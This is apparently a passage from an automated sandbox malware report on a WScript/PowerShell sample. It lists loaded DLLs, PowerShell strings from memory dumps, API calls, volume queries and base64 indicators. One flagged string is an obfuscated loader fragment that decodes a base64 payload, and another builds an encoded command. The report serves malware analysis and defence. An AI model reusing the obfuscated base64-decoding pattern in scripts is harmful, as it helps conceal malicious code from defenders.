string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00006316-00000C2B-797906293] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006316-00000C2B-797976224] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006316-00000C2B-798230045] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006316-00000C2B-798352351] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006316-00000C2B-798553668] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006316-00000C2B-798554011] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006316-00000C2B-799050056] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006316-00000C2B-799236597] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006316-00000C2B-799328684] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006316-00000C2B-799336826] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006316-00000C2B-799374214] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006316-00000C2B-799420667] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00006316-00000C2B-800040106] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00006316-00000C2B-800157976]27:T931,Found string "Set-StrictMode" (Indicator: "Set-StrictMode"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-Variable" (Indicator: "Set-Variable"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Enable-PSBreakpoint" (Indicator: "Enable-PSBreakpoint"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-PSBreakpoint" (Indicator: "Set-PSBreakpoint"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-Location $MyInvocation.MyCommand.Name" (Indicator: "Set-Location"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-Location .." (Indicator: "Set-Location"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-Location \" (Indicator: "Set-Location"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-Alias" (Indicator: "Set-Alias"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-Location" (Indicator: "Set-Location"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Set-PSDebug" (Indicator: "Set-PSdebug"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Update-Help" (Indicator: "Update-Help"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "if ((& { Set-StrictMode -Version 1; $this.DisplayHint }) -ieq "Date")" (Indicator: "Set-StrictMode"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "elseif ((& { Set-StrictMode -Version 1; $this.DisplayHint }) -ieq "Time")" (Indicator: "Set-StrictMode"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "if ( ! (& { Set-StrictMode -Version 1; $this.audit }) ) { return "" }" (Indicator: "Set-StrictMode"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "foreach($ace in (& { Set-StrictMode -Version 1; $this.audit }))" (Indicator: "Set-StrictMode"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp")28:T8cb,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000001800000000000000fdfddcb2cfc20000c5e68ab8d447000006000000000000000000965ef77f0000a402d059ff7f000006000000b0020000d8f1477aff7f000000faef0aef000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000965e (UID: 00000000-00003100) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7bc978ff7f00000000eb58ff7f0000000000000000000000000000000000000806ec58ff7f00000001000000000000f0986079ff7f00000001000000000000000100000000000000000000000000000006ec58ff7f000001000000000000000f18eb58ff7f000000000000000000000006ec58ff7f000000000000 (UID: 00000000-00003100) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c316c58ff7f0000708b6e58ff7f00000200000000000000708b6e58ff7f000000000000000000000300000000000000b1316c58ff7f0000a8156f58ff7f000050cda104b002000060cda104b0020000888b6e58ff7f00000100000000000000239f6279ff7f00000000000000000000888b6e58ff7f000006000000 (UID: 00000000-00003100) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d904bff7f0000c0fe914bff7f00000400000000000000c0fe914bff7f000000000000000000000500000000000000453d904bff7f0000286a924bff7f0000be5aca78ff7f0000a8d0a104b0020000fda5dcb2cfc20000b08eca78ff7f0000239f6279ff7f00000100000000000000d132904bff7f00000000c378 (UID: 00000000-00003100) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5aca78ff7f00000000944bff7f000000000000000000000000000000000000883f954bff7f00000001000000000000f0986079ff7f0000000100000000000000010000000000000000000000000000803f954bff7f00000100000000000000bf10944bff7f00000000000000000000803f954bff7f000000000000 (UID: 00000000-00003100) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000600100008030f35360010000c030f353600100000500000514890000203cf053 (UID: 00000000-00006316)29:T686,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006316-00000C17-800227011 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006316-00000C17-800426075 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006316-00000C17-800997721 "powershell.exe" queries volume information of "C:\" at 00000000-00006316-00000C17-801529839 "powershell.exe" queries volume information of "C:\share" at 00000000-00006316-00000C17-801531382 "powershell.exe" queries volume information of "C:\share" at 00000000-00006316-00000C17-801618569 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006316-00000C17-802317648 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006316-00000C17-802450550 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006316-00000C17-8024951112a:T189d,file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") Found string "[byte[]]$auriculariales=[Convert]::FromBase64String($lucriferousness);" (Indicator: "base64"; Source: "00000000-00006316.00000000.118864.53F00000.00000004.mdmp, 00000000-00006316.00000000.118864.54120000.00000004.mdmp, 00000000-00006316.00000000.118864.559C0000.00000004.mdmp, 00000000-00006316.00000000.118864.6E340000.00000004.mdmp, 00000000-00006316.00000001.119834.53F00000.00000004.mdmp, 00000000-00006316.00000001.119834.53F2F000.00000004.mdmp, 00000000-00006316.00000001.119834.54120000.00000004.mdmp, 00000000-00006316.00000001.119834.559C0000.00000004.mdmp, 00000000-00006316.00000001.119834.6E340000.00000004.mdmp, 00000000-00006316.00000001.119834.6FD25000.00000004.mdmp") Found string "[byte[]]$auriculariales=[Convert]::FromBase64String($lucriferousness);" (Indicator: "FromBase64String"; Source: "00000000-00006316.00000000.118864.53F00000.00000004.mdmp, 00000000-00006316.00000000.118864.54120000.00000004.mdmp, 00000000-00006316.00000000.118864.559C0000.00000004.mdmp, 00000000-00006316.00000000.118864.6E340000.00000004.mdmp, 00000000-00006316.00000001.119834.53F00000.00000004.mdmp, 00000000-00006316.00000001.119834.53F2F000.00000004.mdmp, 00000000-00006316.00000001.119834.54120000.00000004.mdmp, 00000000-00006316.00000001.119834.559C0000.00000004.mdmp, 00000000-00006316.00000001.119834.6E340000.00000004.mdmp, 00000000-00006316.00000001.119834.6FD25000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00006316.00000000.118864.55E60000.00000004.mdmp") Found string "[-WindowStyle